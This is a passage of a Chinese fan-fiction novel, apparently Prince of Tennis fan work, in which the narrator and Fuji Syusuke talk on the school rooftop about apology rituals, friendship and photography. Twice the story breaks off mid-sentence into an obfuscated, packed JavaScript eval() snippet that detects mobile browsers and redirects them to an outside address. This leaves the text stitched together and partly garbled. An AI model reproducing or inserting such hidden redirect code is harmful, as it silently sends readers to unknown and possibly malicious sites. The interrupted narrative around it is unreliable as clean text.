“唔……”他没有立刻答应,但思索时倒是重新把眼睛眯起来了。慢慢的,少年脸上浮现出一层淡淡的阴影。我完全不知道他是在想些什么。 “你在想什么?” “嗯…在想刚刚我是不是做了件很过分的事呢?”他声音轻轻的。这种敏锐使我吃了一惊。 “那就要看你对‘过分’的定义了。”我边说边猛猛点头。 “假如你只是普通的在说‘我以前一直吃炒面面包’,对面却一副超绝反常的表现,表面说什么‘这不是能笑着听的事’,实际上基本是在说‘你的过去牙白啊牙白真牙白’。莫名其妙遭到这种定义,你会觉得很过分吗?” “嗯,那真是相当过分的一件事了。” 不二神情严峻地点了点头。 这种失去了从容、认真苦恼和反思的样子一下把我逗乐了。 我顿时没那么生气了,但又很想再戏耍他一下。于是我也继续摆出了很严肃的表情。 “对吧——所以你对我做了相当过分的事,该怎么办才好呢?” “……” 不二充满歉意地看了看我。 我觉得一瞬间他想了很多,比如“为了征得藤的原谅,我应该环赤道奔跑一圈”,又或者“为了征得藤的原谅,我应该在撒哈拉沙漠种满绿植”之类的。 总之是些非常复杂的东西。这家伙不单怪,而且非常纤细,一定比正常人多长好几百个神经末梢。 “——你应该向我道歉。”我恨铁不成钢地直接告诉他。这个笨蛋。 “…这样就行吗?”他有点惊讶。 “我又没说一定会原谅你。”我说。 “听好了,你必须严格遵守道歉的一系列流程。首先你要主动走到我面前,问我有没有在忙别的事。在得到‘没有’的回答后,你才可以继续说话。道歉的内容就自己想吧。但道歉的时候,你必须全程看着我的眼睛,你那个时常跑来跑去的注意力也必须全部集中在我身上,一秒都不能偏离。 “如果你能做到这些,我说不定就会原谅你。如果我原谅了你,我们就会握一握手,最后说一些轻松快乐的话题。” 不二似乎听得入了神。 然后他恍然大悟:“这是小学生手册里的——” “这是你道歉的第一步吗?”我阴恻恻看他。他立即闭上了嘴,既像是在认真思考措辞,又似乎有点忍俊不禁。“我明白了……”对面似乎是传来了这样配合的低语。 不管。我索性翻起书本,复习起刚听完的章节。原本我只是想装个样子,但听见靠近的脚步声时,我已经相当沉浸在书中的世界了。“ローズ”……这鬼画符是什么意思来着? “藤同学,请问你现在在忙吗?” 温柔悦耳的声音——不是自头顶——而是从稍微上方一点的位置传来。 我抬起头。栗子色头发的少年正微微屈膝望着我,既没有造成太多压迫感,也没有随随便便就侵入我的私人空间。 这种刚刚好的距离感让我非常满意。 “先等一下,这个要怎么读?”我把书翻过去问不二。 他很快的一瞥,紧接着目光便忠实的回到我这边。“Rōzu(玫瑰)。”少年望着我的眼睛说。 “……” 我露出了吃大便的表情。 一瞬间,我又想到了阳子关于我头发的那个比喻,太烂俗了。我想我一定会至死讨厌并铭记这个词。 “切,直接用ばら(bara)不就好了么……” “应该是为了营造外文的语境吧……”不二很自然地接话。就在我要指出这家伙的注意力已经濒临分散时,他又很自然地收了回去。 “——这个先不提。我有话想对藤同学说,可以稍稍分给我一点时间吗?” 栗子色头发的少年笑眯眯地、非常专注地望着我。 我想很难有人能对这样的不二说“不”。 “…那就听你说说看吧。” 我抱着书站起来。不二跟着直起身,与我面面相觑。 这种时候如果一张口就是长篇大论,或者迎头一句“对不起”,场面绝对会变得超级灾难。 那样还是掉头就走吧。 我一边这么想,一边莫名其妙的很笃定:不二绝对不会这么说。 毕竟他是个非常注重细节、又让我感到亲切的怪家伙嘛。 “炒面面包……藤很喜欢吃这个吗?”这就是不二向我道歉时的开场白。 看吧。 怪家伙。 我:“你说的是学校小卖部的炒面面包,还是老爹船上的‘炒面面包’?” 他笑了:“两个都很想知道,可以都告诉我吗?” 我才没那么慷慨咧。 但他笑起来真好看。 “学校的炒面面包我还没吃过,据说很有名,但每次都被一个嗓门很大的人抢先买光。至于老爹船上的,那当然是很讨厌了,每次醒来身体都凉凉的,嘴巴里也没味道。虽说当时是靠那个活下来,但只有傻子才会喜欢那玩意儿。你看我像傻子吗?”< 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“嗯,对藤来说很普通的事,在我看来也许非常过分。”少年说得温和又坚持,“所以确实没办法保证能一直放松地去听呐。” 我听出了他的言外之意。 “但还是想听?” “但还是想听。”不二笑着颔首。我想在那平和外表包裹之下的,多半是一颗没有穷尽的好奇心。 “…那就给我点直接的好处吧,每当我们的世界观又碰撞起来的时候。”我说,“比起刚刚那种苦情的表情,你还是用点实际的东西来堵住我的嘴吧。” “…是说吃的?”他一歪脑袋。 “不然呢?”我瞪圆了眼睛。 在比不久的将来更遥远点的将来,当我向阳子说起这件事的时候,她将会一脸绝望地告诉我: “你当时要不是在跟他撒娇,要不就是在霸凌人家。” 看阳子的表情,她明显更倾向于后一种答案。她根本不知道不二能有多坏! 我:“胡说八道!我看他明明开心得很——” 此刻的天台上,少年露出了纯良又愉快的笑容。 “那么作为这次的赔罪,炒面面包…藤觉得怎么样呢?” “为什么又出现炒面面包了啊?”我立即吐槽,“是说学校小卖部的?现在应该早已经卖光了吧。” “嗯,明天中午我去买来给你怎么样?”不二说,“既然来到了这个世界,要不要也试试这边的炒面面包呢?” “不就是炒面塞进面包里,又没有肉,能有多好吃?”我不屑一顾。 “里面有三种芝士和一块特制特大号炸猪排。” “那必须得吃吃看了!” 面对食物,我向来是十分严肃的。 “不过……不二,你真的抢得到吗?还有那个嗓门很大的人在呢。” “没关系,我想我多半认识你说的那个人。而且……”他顿了顿,憋不住笑意似的说,“怎么说也是为了向藤赔罪,假如一点难度都没有,好像也不是很像样呐。” 好耶! 我心情一下变得超级好。 而不二就像是看准了这个时机一样: “这样的话,藤可以原谅我吗?”他笑盈盈地问。 “好吧,看在炒面面包的份上原谅你了!” 说着,我爽快的朝不二伸出手。 “握手……是吗?”带着一丝新奇的表情,少年也伸出了手。但他靠近得相当迟缓,似乎有所顾虑。最后是我不耐烦,主动把手塞了过去。 不二轻轻回握住我的手。 他手上有层薄而结实的茧,缓缓蹭过我的手背。 一瞬间我觉得非常怪,像有道电流从脚后跟直冲天灵盖。 不同于自己的、属于不二的体温非常明显。随着手掌的交握,这种温度好像一下钻进了皮肤,蔓延到身体的各个角落,于是哪里都能感受到这股奇异的温差了。 我和不二面面相觑。由于我一直盯着他看,所以没错过他脸上一闪而逝的古怪。 如同两个刚刚诞生的铁皮人一样,我们煞有介事地将手上下甩动了两下,然后不约而同地一起松开。 沉默。 “该怎么说呢…以前从没这么严谨地一步步完成过道歉的仪式,总觉得好像有点害羞。”不二忽然浅笑着说。 随着他主动道破内心的感受,刚刚那种微妙的氛围也就一下消失了。我瞬间觉得呼吸都变得更自在。 “怪不得还得说些轻松愉快的话题,应该就是为了这个准备的吧。”我突发奇想。 “要说点什么呢?”他兴致勃勃得配合。 “说薯片吧,或者迪士尼乐园。啊!干脆来说说一夜之间数学从世界上消失掉的话会怎么样吧。” “那应该会天下大乱。”他笑得超级开心。 “地球会停止旋转吗?” “唔…只是作为学科消失的话应该不会。” “那也不算太乱嘛。” “但人类大概就没办法再去太空了。那可就糟糕了,因为这个世界的所有薯片基本都是从外星进口的……” “欸???数学消失的话薯片也会跟着灭绝吗——不对,你在耍我啊——不二!” …… 不二周助,这个奇怪的家伙。 竟然和我这么聊得来。而且还能成功耍到我。 我想他或许不是个笨蛋。 6.第6章 由于我和阳子都患有一个月不吃金枪鱼大腹就会死掉的病,所以我们去家附近的寿司店吃饭了。 “最近,世界末日的说法不是又重新流行起来了么?” “嗯嗯。” “今天在茶水间和同事聊起这个,大家都在说‘牙白牙白’什么的。但是啊…我听完以后就笑了。” “我也是。” “然后呢…我发现,虽然每个人都在说‘可怕可怕’,但其实都露出了跃跃欲试的笑容,就是有点期盼的那种。欸——这不是更可怕吗?我就想,搞不好现在大家心里都在盼着地球爆炸什么的。” “慢着!光是爆炸也太没新意了吧,应该让恐龙复活——如果世界要完蛋了,绝对希望能亲眼见一次恐龙啊!”我挥舞着筷子。 “哦哦!比如让霸王龙撞飞东京塔什么的?”阳子也拍着桌子欢呼起来。 “嗨!鳗鱼玉子烧两枚!”寿司店的少东家带着爽朗的笑容上菜。阳子赶忙对他说了“谢谢”。 我:“对了,最近我在学校认识了个三年级的。说起世界末日,那家伙好像是‘人类灭亡’派的。” “欸,就是指人类消失、但地球会继续延续下去的意思?” “嗯!人类会分解成孢子,最后作为植物重新长出来。只要根系连结在一起,感官就会互通,所以也就不需要手机联络什么的了。种子还会被风带到很远的地方,这样旅行起来也很方便。还蛮有意思的吧?” “好难想象……但能说出这个来的人肯定很有趣!然后呢?光咲和她成为好朋友了吗?” “嗨!金枪鱼大腹两枚!” “谢谢!不是,是男生啦。”我纠正道,“是个有点呆的电波笨蛋宅男,叫不二的。” 阳子:“欸?” 少东家:“欸——???” 他忽然绊了一跤。 两枚Q弹的寿司飞到半空,眼看就要坠毁。 这怎么行!? 我顿时以救世主的气势拍案而起、抻动脖子,精准的用嘴一一叼住了它们。 “噢噢噢噢——!”这是目瞪口呆的阳子。 “fu…?fu~呜呜……?”这是僵硬直立、口中不断发出奇妙上扬怪声的少东家。 或许是知道自己闯了祸,总之他一副“骇死了”的表情。 以上,就是我第一次在河村寿司店向阳子提起不二时的情景。 “然后呢?究竟是怎样的人?那位不二君!”阳子疯狂追问,“你们是怎么认识的?成为朋友了吗?你没有因为人家给你买薯片就答应和他交朋友吧?你答应过我不再干这种事的!” 问题也太多了吧。 我咬着筷子,在第一个问题上就卡了壳。 不二是怎样的人? 茶汤前浮现出那张带着温暖笑意的白净面孔。 【“…确实,提到世界末日,首先就会联想到一片混乱的红色呢。但我觉得绿色的末日也不错啊。旧文明逐渐被茂密的植被覆盖,海洋也变回泥盆纪时期的丰盛状态。那样一定会有崭新的生命诞生吧?想想真是令人期待……”】 就是这种能三言两语把世界末日拐成一桩美事的怪家伙吧。 不过挺有趣的。 回过神,我对上阳子挤满促狭的眼睛。 “啊呀,光咲,刚刚想到什么了?怎么忽然笑了呀……是笑了吧?” “不,只是看到甜品来了。”我才不上她的当呢,“阳子你看到杏仁豆腐还不是一样会笑。” “欸~原来那位不二君就像杏仁豆腐一样喔?像杏仁豆腐喔?” 她继续发出怪声。我觉得这人大抵是疯了。 与此同时,送来餐后甜品的少东家下楼时也踉跄一下,闹出了不小的动静。 我看到他从脖子根到额头一路红了个透。真是的,原来纯情到这种程度的人也会八卦到偷听。我无语到压根提不起劲生气。 “那他喜欢什么运动?”阳子真不愧是这个世界的人,“你们学校网球部不是很有名吗?该不会就是网球部的吧?” 我:“不知道。不知道。不知道。” “骗人!那你们平时都聊些什么?” 我一昂下巴:“世界名著和人生哲学。” 虽然表面云淡风轻,但我觉得能淡淡说出这种话的自己很厉害! 阳子一愣,紧接着也一副“骇死了”的表情。 “…不,等等,那究竟是怎样的场景?完全想象不出来!” -- 天台 “小王子生活的星球比他大不了多少,他想找个朋友……”* 我懒洋洋地接茬:“那他就是个笨蛋啦。” 对面的朗读声停了下来。 经过一段时间的磨合,我和不二的读书与闲聊时间已经彻底搅和在了一起,就像滚筒洗衣机里的衣服一样缠来缠去。 虽说进度因此大大拖后,但这种有点自由散漫的感觉还不赖。 大气层下的苍穹下的4月的阳光下,我们的思绪在宇宙、学校天台以及更遥远的世界间跳来跳去。 不二:“是说找朋友的事?” “嗯,一般来说不会把这种事设成专门的人生目标吧?孤独不会害死人,交友不慎却有可能。”我说得头头是道,现在我已经很习惯在他面前说长句子了。 “只要不交朋友就绝对不会被朋友害死,这不是显而易见的道理吗?觉得寂寞的话养只猫啊狗的就行了嘛。” “嗯…可是那样这本书就不会存在了啊。”不二眯着眼睛说。看表情他相当认真,似乎光是想象一下那样的场景,就会陷入沮丧之中。到底是有多喜欢这本书啊这个人。 “不二很喜欢交朋友吗?” “藤对交朋友不感兴趣吗?” 我们的声音同时响起。 因为姓氏的发音是一样的,所以造成的效果有点搞笑。有点像一个人平白分裂成了两个。 于是两边都不由顿了顿。栗发少年笑了笑,率先说:“喜欢呀。认识不同的人很有趣。” “唔……?” 我试着想象了一下,发现很难想象不二和很多人勾肩搭背嘻嘻哈哈的场面。但那种“笑眯眯很合群”的样子倒是一下就能想到了。 嗯,就是现在这副看着能凭空涌出很多小花花堆满膝头的悠闲悠哉相。 不对,还是应该说吊儿郎当相比较贴切。 我:“不二,你对朋友的标准太宽泛了。” “藤呢?”他不计较地笑笑,摆出了虚心求教的样子。 我伸出手晃了晃:“虽然我没什么兴趣,但当然是要牵过手才能算朋友呀!” 沉默。 不二表情没变。 我的表情也没变。 一阵风干巴巴的刮过天台。 他一偏头:“什么意思?” 我淡定的:“就是字面上的意思——牵过手才算朋友!” 阳子就是这么和我说的。 当年我初来乍到,像火焰一样席卷札幌小学,受到了小学生们的疯狂追捧。所有人都觉得我太酷了。 放学列队时,经常有小学生为了能和我手牵手走一排而大打出手。 “今天轮到我和光咲一起走!” “要和光咲一起的人明明是我才对!” “我!我我我我我!!” 我戴着小黄帽背着新书包,被吵到无语: “……谁给我薯片,我就跟谁并排走。” 小学生们面面相觑。 其中一个激动大叫:“哇!我带薯片了!!!光咲,给你!” 我:“嗯,那今天跟你一起走。” 第2天,所有小学生都带了薯片过来。大家再次打成一片。 又有一人露出胜利的笑容:“呵哈哈哈我带的可是期间限定的海苔炸鸡味!!!” 我:“干得不错嘛。就你啦。” 第3天,小学生们用尽手段。 “进口墨西哥红椒味!” “牛油果番茄芝士!” “蜡笔小新限定闪卡!” “我的上面有柯南君和少年侦探团!” 就算是我也没见过这种大世面。诺贝尔颁奖典礼后的晚宴也不过如此了吧。 每种都想吃!想一口气全拆开倒进嘴巴里混合起来那样吃! 冷静点1号,你一定能想出办法来。再困难的事不是也都经历过吗? 我这么对自己说着,然后低下了头,如同发现新大陆般瞪大了双眼。 “都静静!小学生们!你们看——”我超级快乐地向他们宣布我的重大发现,“我长了10根手指头诶!!!” 那天阳子打开家门,看到了如海藻般泛滥的小学生族群,还以为世界末日要来了(她的原话)。 “打扰了!”小学生们对她说。 “我回来了。”我也对她说。 也是那一天,不顾我的反对,她把10包薯片拆开混合在一起给小学生们分吃了。 我超级生气,因为那是我用自己的手指头换来的薯片。 那是我的薯片!!! 阳子反手给我买了20包薯片。 我不气了。 “听好了光咲,你不能为了薯片就随便答应跟别人交朋友!” “为什么?既能有薯片又能有朋友,这不是超级划得来吗。” “为了薯片去交的朋友,迟早也会因为没有薯片就轻易舍弃掉吧。”阳子超级严肃地说,“不需要薯片这些身外之物,也会让人心甘情愿去牵手的关系——只有这种才能叫朋友。我现在是这么认为的。” “——但那种事怎么可能嘛?按照这个标准,我这辈子是交不上朋友了。” 我懒洋洋地靠到护栏上。 “唔……”不二稍稍眯着眼,虽说好像是在思索,却一脸那种正在晒太阳的猫才会露出来的安详表情。 我断定这是不太认同的表现,并且这人现在已经有大半思绪飞到火星上面去了。 “看来藤是真的很喜欢薯片啊。”最后他感叹道。 看吧。 “哇,你也太会抓重点了吧。” “啊、抱歉。”少年笑着说,但从那笑容里可看不出一点歉意,“但是,要是说到牵手的话……” 不二顿了顿,没继续往下说。但看他那副含蓄的表情,我一下就知道他是什么意思了。就是在说之前道歉仪式的时候我们最后那个互动嘛。 “那个是握手,才不是牵手呢。”我立即纠正道。 “要怎么区分呢?” 不二,这个对万事万物都怀抱好奇心的家伙。 真拿他没办法。 “虽然都是两只手握在一起,但握手的时候,两个人是面对面不动的,而且基本2秒钟就会松开了吧?就像这样。”我用左手牵住右手,向他悉心演示。 “但牵手基本不可能是面对面,而且多半是在移动中,甚至绝对不可能2秒就结束。2秒以上的时间基本就是漫长,在体感上和1小时1天1个月1个世纪又有什么差别呢?在这么长的时间里,自己的手要被迫和另一个人的裹在一起——那基本就是一坨有弹性的肉哦?更糟糕的情况,对方说不定还会出手汗。也就是说,要和一坨湿漉漉的有弹性的肉裹在一起长达1个世纪——” 我看着他,他看着我。 现在我们的眉毛不约而同地皱起来了。 “这就是牵手。没点好处的话,你真的会心甘情愿去做这种事吗?” “光听描述的话应该是不会。”不二苦笑着承认了,“但我想也有对象的差异在……如果和藤牵手的是阳子さん呢?” “那不一样,”我立即说,“阳子是家人。家人怎么想都比朋友要亲密得多得多得多吧。” 不二一愣,也不知道是想到什么,总之一瞬间,他露出了相当柔软的神情。 “藤很珍视家人呢。” “那是当然。” 但这话可不能被阳子听到,否则她多半是要哭的。 闲聊到这也就差不多了。 我正想叫不二继续读下去,却见他将书放在膝盖上出神,似乎是在认真地思考着什么。 “怎么了?” 少年轻声道:“唔、只是在想,世界上会不会也有成为朋友的仪式呢?” “就像道歉的仪式一样?”我立即跟上他的思路。 “嗯,在听了藤的想法以后,忽然觉得交朋友也不是件轻易的事。那么和现在的朋友又都是怎么成为朋友的呢?不知不觉就陷入这样的思考了。” 不二微笑着解释起来,但明显还有大半注意力沉浸在他所说的思考中。 我索性耐心地等待起来。 差不多过了1秒,不二唇角微弯,笑容变得澄明。 “想到了吗?” “嗯,不过意外的是很普通的答案。好像不太值得郑重其事地去说。” “不一定是坏事。”我评价道,“总之先来说说看吧。” 于是不二说: “——打招呼。” 我等了等,“没了?” “没了。” “…还真是好普通啊。”我顺着想了想,“能打招呼就是朋友了的意思?不二,那你应该有100万个朋友吧。” 他顿时被我逗笑了。“没有那么多。假如按照藤的标准,甚至一个朋友也没有。”后半句就是实打实的在调侃了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149433|179615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>懒得跟这家伙计较,但我的思绪也随之发散出去一点。现在轮到我去火星了。 “小学时候也没有吗?” “没有。我们是直接放学的…啊、有次裕太不小心绊了一跤,我一路牵着他回了家——”不二的笑容变得甜丝丝的。 “那种不算啦。” 他罕见的坚持,“…算的吧。” “不算啦。” 反正在我这里不算。 “唔……我觉得还是算的。”他还在眯着眼纠结。这个龟毛弟控。 我:“那就要把妈妈姐姐爸爸的份也都一起算进来。” 不二想了想,笑容变得更灿烂吓人了:“嗯!当然没问题了。”哇,这个不择手段的龟毛弟控,幼稚起来简直和小学生差不多嘛。 我顿时朝他投去一点无语目光。 ……但也就是说,不二没和家人以外的人牵过手。 不知为什么,这一事实使我愉悦。 “你刚刚说的‘打招呼’我没听懂。再多说一点吧。” 不二爽快地同意了。 “通常来说,在成为朋友以前,首先会成为认识的人吧。”他用温润的嗓音耐心推导着。 我看了看他,说:“嗯。”确实是这样。 “但在刚认识的时候,假如偶然间对上目光,不是会有那种有点犹豫的时刻么?’咦,要不要打招呼’之类的。”少年带着笑意从容演示,“但如果犹豫的时间有点长、或者察觉到对方也在经历同样的犹豫,说不定就会主动去打招呼了。” “…不二,你善解人意过头了吧。”我吐槽。像我就不会有这种顾虑:打招呼当然是想打的时候打,不想打的时候就不打啦。 “谢谢。”结果这家伙立马笑眯眯把我的话当赞扬收下了,“当然也有藤这样凭自己心意坦率行动的人。但我好像每次都会先犹豫一下。具体是因为什么呢……好像也不是特别清楚。” 他说得相当坦率,但其实我很难想象这种内向型人格的特征出现在他身上,就算有多半也是快得根本看不出来。毕竟这家伙外表看起来相当圆滑嘛。 “但是,随着犹豫次数的增加,犹豫的时间反而会越来越少。”仿佛是发现了什么细节上的乐趣,不二用轻快又笃定的语气说着,我想他应该是很享受这种自我探索的过程。 “直到有一天,不需要思考就向彼此打了招呼。我想那就是成为朋友的一天了。” 说完,他正好望向我。在这个有点安静的对视中,有些东西不言自明。 “不二,你说这些话的意思是,你也想要向我打招呼吗?”我直接问他。 “嗯,可以吗?”他也眉眼弯弯地问我。 -- 下午上课时,我脑子里塞满了朋友、世界末日以及杏仁豆腐。 总觉得刚刚答应了一件蠢事。 听不二说的时候感觉是还不错。然而一旦到达他不存在的空间,这件事就变得怪起来了。 打招呼……在天台上还好说,难道平常在学校里遇见,他也要跑过来和我打招呼吗? 一年级和三年级不在一个楼层,但也不是一点没机会碰到。 比如一整个班去实验室的时候。万一和三年级的迎面相遇,不二也要专门停下来,当着所有人的面、笑眯眯地对我说“藤,祝你早安、午安和晚安”吗? ……还真是他能干出来的事。 我的脸像被揉皱的报纸那样皱了起来。 怎么说呢,这种暴露在特定人群目光下的互动好像有点恶心啊;像那种三流少女漫画情节。 光是想象,我的心里也只有痛苦;假如实际发生,我说不定会被刺激到当场笑出声。 但是不对。 我猛猛搓了搓自己的脸。 假如不二做出让我难受的行为,就说明他口中的仪式存在很大的问题吧。 那我不就不用跟他做朋友了吗。 我豁然开朗。 仿佛是在庆贺我的开窍一般,下课铃声恰好响起,宛若礼炮。 虽说放学了,但现在也才下午3点出头,大部分人都不急着走。我也心不在焉地抄着前桌的数学作业。 教室里忽然一阵骚动。 “啊啊啊啊是网球部的正选们!!!” 一个男生尖叫着跑到窗边。 我:什么玩意儿? 一下子,还留在班里的人基本全涌过来了。 我耷拉着眼皮挤在耸动的人群间,感觉又重新读了一遍小学。这个世界的人对运动(特别是网球)的热情我真是无法理解。 “为什么前辈们会在这个时间一起出现?” “好像是今天要去外校打友谊赛……” “呀,正选队服真的好帅——!” 是有多帅? 我漫不经心朝窗外看了一眼。 然后,和栗子色头发的少年视线对了个正着。 “……” 好眼熟的一张脸,像在哪见过。 他穿着蓝白相间的队服,唇角微弯,平常那种懒散提不起劲的感觉好像一下消失了。清风吹拂着他的发丝,眉清目秀、俊逸挺拔的少年,似乎原本就在朝我张望。一看到我望向他那边,他立马有些愉快地朝我挥了挥手。 霎时间,一整栋教学楼爆发出了雷鸣般的呼喊。 “啊啊啊啊啊啊不二前辈——!” 我:“…………” 我简直骇死了。 这已经不是三流少女漫画——而是阳子时常挂在嘴边的《流○花园》的那种程度了! 欸?不二的定位难道是花○类那种校园王子吗,不会吧这家伙不是仙人掌宅男吗!? 即便隔着这么远的距离,少年也像是看出了我在想什么,弯弯的眉眼间登时透出一股狡黠。我瞬间确定了他是有意为之、正试图从我的反应中找到乐趣。这恶趣味的家伙。 和天台上的不二果然是同一个人啊。 我坐在窗边,居高临下地审视着他。 无敌的气质和无敌的脸,也太帅了吧。蓝白色也相当衬他,比黑漆漆的校服有精神多了。总觉得这身队服就应该焊死在不二身上嘛。 我没有朝他挥手,但也没有移开目光。 也就是在这一时刻,我切实感受到了不二所说的那种“犹豫”。 心脏像子弹发射那样砰砰跳动着。 现在这种出奇诡异的场合,确实是没什么打招呼的心情。他收回了手,看起来也不是很计较回应。 但也不是什么都不想做。 这么想着,我干脆顺应了本心。 于地动山摇、仿佛末日将临的吵闹尖叫声中,我面无表情,静悄悄的朝不二竖了个大拇指。 7.第7章 天气很好,风也很清爽。 我仰望着湛蓝的天空,白云挂在上面一动不动。 “不觉得有点无聊吗……?” 我边说边尝试用手捏住那颗隐藏在云后的小太阳。 “什么?” 对面围栏下,不二从正在捣鼓的相机前抬起头,有点茫然地望了过来。 我懒洋洋地将头一偏,和他视线对了个正着。 “……” 自从看过正选装扮的不二以后,再看校服形态吊儿郎当的他,总觉得心情有点微妙。 好看是好看的。但看那手上捧着的袖珍相机,相机正对着的仙人掌(由他随身携带),以及那副乐天又开朗的表情—— 我:“…怎么看都是宅男一个嘛。” 根本想象不出来这家伙认认真真打网球是什么样子。 被我攻击的家伙一脸天然的“咦?”了一声,乐呵呵地纠正我说:“我平常姑且还是喜欢出门的喔?” 我:“出门是去?” “做想做的事。”他笑得超级开怀。 我脑子里登时出现了不二骑着马在公园散步、戴着墨镜从喜马拉雅峰上往下滑、快乐地漫步在遍布魔法植物的原始森林等三个猎奇场景。 不知为什么,每一个都没什么违和感。但我就是想象不出来这家伙认认真真打网球的场面。 “不二。” “什么?” “你很厉害吗?我是说打网球方面。”我托着腮问他。 他很快的想了想,笑容温和地说:“嗯…至少我不会说自己弱呐。” 那就是很强的意思了。没点实力是说不出这种话的。 “那你喜欢吗?网球。” “喜欢呀。”栗发少年说得又散漫又认真的。可能是因为同时间他还在对着心爱的仙人掌咔嚓咔嚓狂拍照,笑容像太阳一样闪闪发亮。 “嗯……摄影和网球同时被绑架掉进水里的话,你先救哪个?”我随随便便地发问。 “摄影。”他也像是随随便便的在回答。 “那仙人掌和摄影呢?” “仙人掌。” 每次都是答第一个选项。我骗人的时候也这样。 我:“故意的?” 他:“…嗯,说不定是这样。” 到了话尾,不二的声音微微发颤,好像已经有点盛不住笑意了。这家伙又在耍我了。 我:“我生气了。” “抱歉、因为藤第一次问我爱好方面的问题,忍不住就想逗逗你。”他见好就收,带着种让人没办法真的生气的温柔浅笑,“还有什么想要了解的吗?我都会回答的。” “还是算了。反正你的想法像风一样变来变去的,”我奚落道,“今天说最喜欢摄影,明天说不定又会为网球花费超多时间精力,后天再去干点别的事。不二,你完全就是这种人嘛。” “…欸?但是,不管是摄影还是网球都很有趣呀……”他露出有点为难的表情,看起来半真半假,还怪可爱的。 “嗯,你随心而为这点我倒是不讨厌。”我托腮望着神态放松的栗发少年,感觉跟我根本不在一个世界。 “但是啊,不二,整天这个有趣那个有趣的,你都没有无聊的时候吗?” 他眯着眼稍微想了想,然后说:“有当然也是会有……但是,那种时候不是正适合去找点好玩的事吗?” 哇,他笑得好纯良;背后浮动的黑气一定是我的错觉。 我直接吐槽:“你眼中的世界到底是怎样的啊?” 该不会是个巨大的迪士尼乐园吧? “藤对这个感兴趣吗?”结果少年一副很高兴的样子,也不知道是怎么理解的。总之他轻轻挥动一下手中的相机,就跟仙女教母挥动魔法杖似的,“要看看吗?” 我对照片这种东西其实兴趣不大啦。 但他都主动分享了。 我:“那就来看看吧!” 我跑到不二面前,从他手中接过了那台相机。 这家伙动作小心翼翼的,好像在转移小婴儿,害得我独自捧着相机的时候也变得有点不知道该怎么办;好像这玩意儿随时会在我手里碎裂掉流出脑浆和肠子来似的。 不二看出了一点异常,“藤之前没接触过数码相机吗?” “没有呀。”我没抬头,专心研究起正中小小的电子屏幕和一堆按键,“嗯…温温的,感觉跟活的一样。不会忽然咬我一口吧?” “…第一次听说这种感想。不愧是藤啊。”对面传来不二的轻笑。他细长的手指虚点着其中几个按键,“这个是‘前进’,这个是‘后退’……” 我们的手并没有碰到。然而随着他手指的移动,空气好像也跟着被划来划去,带起的气流时不时蹭过我的手背。 莫名其妙的,皮肤泛起一阵痒意,像被小小的虫子蛰咬。 怪怪的。照相机果然会咬人啊。 我轻呼出一口气。也是这时,不二忽然收回了手。 “…就是这样。”他笑容如常,“学会了吗?” “当我是小学生嘛?”我斜睨他一眼,懒洋洋地拖长音调配合,“学会啦,不二老师——” 原本我以为会看到满屏奇形怪状的仙人掌,但事实上也就三十来张。剩下大部分是街道和夜景,多半是不二在放学途中拍的。 “欸,这边是哪里?” “嗯……?”少年稍微凑近了一点,只看了一眼便答道,“是车站前面的天桥。” “就说怎么这么眼熟。欸,灯亮起来还挺漂亮的嘛。”以前从没注意过。所以我眯起眼睛,格外认真地观察起来,“这边的黑影是什么,树吗?” “嗯,是樱树。从这个角度可以稍微看到一点公园……”他仔细解释起来,同时也不忘夸我眼力厉害。 按理说看照片花不了多长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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按着按着,眼前就出现了和描述如出一辙的照片。这应该是更早时间拍的,风格和之前有微妙的不同。放在一起看的话超级明显。 我看着看着就笑了: “想要拍到这种照片。不二,你找了不少地方吧?” 不知为什么,我一眼就觉得这不是什么偶然拍下的“惊喜”。绝对是这家伙先萌生出拍虫子的想法,然后再去花坛或者公园里面花费上大量时间翻树倒叶—— “…能察觉到?”他露出一抹有点难为情的笑,倒也没刻意掩饰,“哈哈,刚入手这台的时候,确实是折腾了好一阵子……” “难道旁边叶子上的水也是特意洒上去的吗?”我已经准备好大肆嘲笑他了。 “那倒不是。”不二笑眯眯地说,“那天雨后放晴,我想着说不定能找到。所以是从树上正好掉落到叶子上的雨水……” “…说谎。”我看穿他了。 “不,是真的。”他坚持。 “绝对是说谎——”我真的看穿他了。 那天的最后,我突发奇想。 “不二。” “什么?” “也帮我拍张照片吧。” “嗯,好呀。” 栗子色头发的少年静静望着我,然后很温柔地笑了起来。 8.第8章 面对镜头,我大张开嘴巴,露出了八颗牙齿的灿烂笑容。 对面的不二却迟迟没有按下快门。相反,他略显迟疑地和我确认: “…藤是想拍搞怪一点的表情吗?” “什么东西,我这不是在很正常的笑吗?”我维持着笑容瞪视他。 不二沉默了片刻,然后用那种半开玩笑的口吻跟我描述: “嗯…虽然嘴巴在笑,但眼睛好像在释放杀气。看起来稍微有点恐怖呐。” 我:“拍来看看吧!” “……” 在我执拗的注视中,他面带犹豫地按下了快门。 “呜哇,不二,你把我拍得像是刚刚打猎回来的远古食人族一样。”我新奇地观察着屏幕里的影像,“我知道了、眼睛也要笑对吧?再来一张、再来一张吧?” 我活动了一下已经僵硬的五官,然后弯起眼睛提起嘴唇。 这次一定能行! 对面,不二还是没有任何动作。很快,他充满犹豫的声音从相机后面传来:“…还是决定做鬼脸吗?” “什么鬼脸,我这不是在笑吗?这回眼睛和嘴巴都在笑——不二你平常就是这么笑的!” “……” 他又沉默了。 “还是不好看吗?” “嗯……”多半是为了让我意识到事态的严重性,不二用温和的嗓音形容,“就好像暴雪封山的小木屋里会撞见的来敲门的老婆婆一样呐。” “那不就是鬼吗?”我直接说,“那必须得拍来看看了!” “……” 再一次的,不二按下了快门。他现在的表情有点好笑,仿佛正被我强行拉着要来捅我一刀,总之一脸不忍。 